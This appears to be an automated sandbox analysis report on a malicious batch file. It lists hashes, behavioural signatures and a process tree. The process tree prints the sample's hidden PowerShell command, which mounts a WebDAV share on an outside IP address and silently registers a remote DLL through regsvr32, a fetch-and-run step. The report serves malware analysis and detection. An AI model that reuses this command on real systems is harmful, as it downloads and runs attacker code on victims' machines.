Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    22/07/2024, 04:40

General

  • Target

    2827912093982011031.bat

  • Size

    13KB

  • MD5

    7e4bfa339d40455f7c1cc5657a9fee46

  • SHA1

    3ac4c15a6f97662d2c81b66e620e067ed17c3cb5

  • SHA256

    f39829611845bfb232a5166de3d9c8d99c9b28d00fa808a4c1680adfdbb9a247

  • SHA512

    c96fc4defce02217b14c58cf827e9f04603f7ecfdeb9b480c5c889a7187c135a35ffa735bd6230267114daada7676244317afd91c2c0286077912b61bfe56a37

  • SSDEEP

    384:771dSUEUDGPp3lzQKvmmDfCvjQ2IvUmvew/A:XSUEzh1z70IvzGw/A

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\2827912093982011031.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1724
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2296
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\212501060920913.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2164
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2816
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\212501060920913.dll
          3⤵
            PID:2620

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/1724-16-0x0000000002420000-0x0000000002520000-memory.dmp

        Filesize

        1024KB

      • memory/1724-17-0x0000000002420000-0x0000000002520000-memory.dmp

        Filesize

        1024KB

      • memory/2164-22-0x000000001B6A0000-0x000000001B982000-memory.dmp

        Filesize

        2.9MB

      • memory/2164-23-0x0000000002690000-0x0000000002698000-memory.dmp

        Filesize

        32KB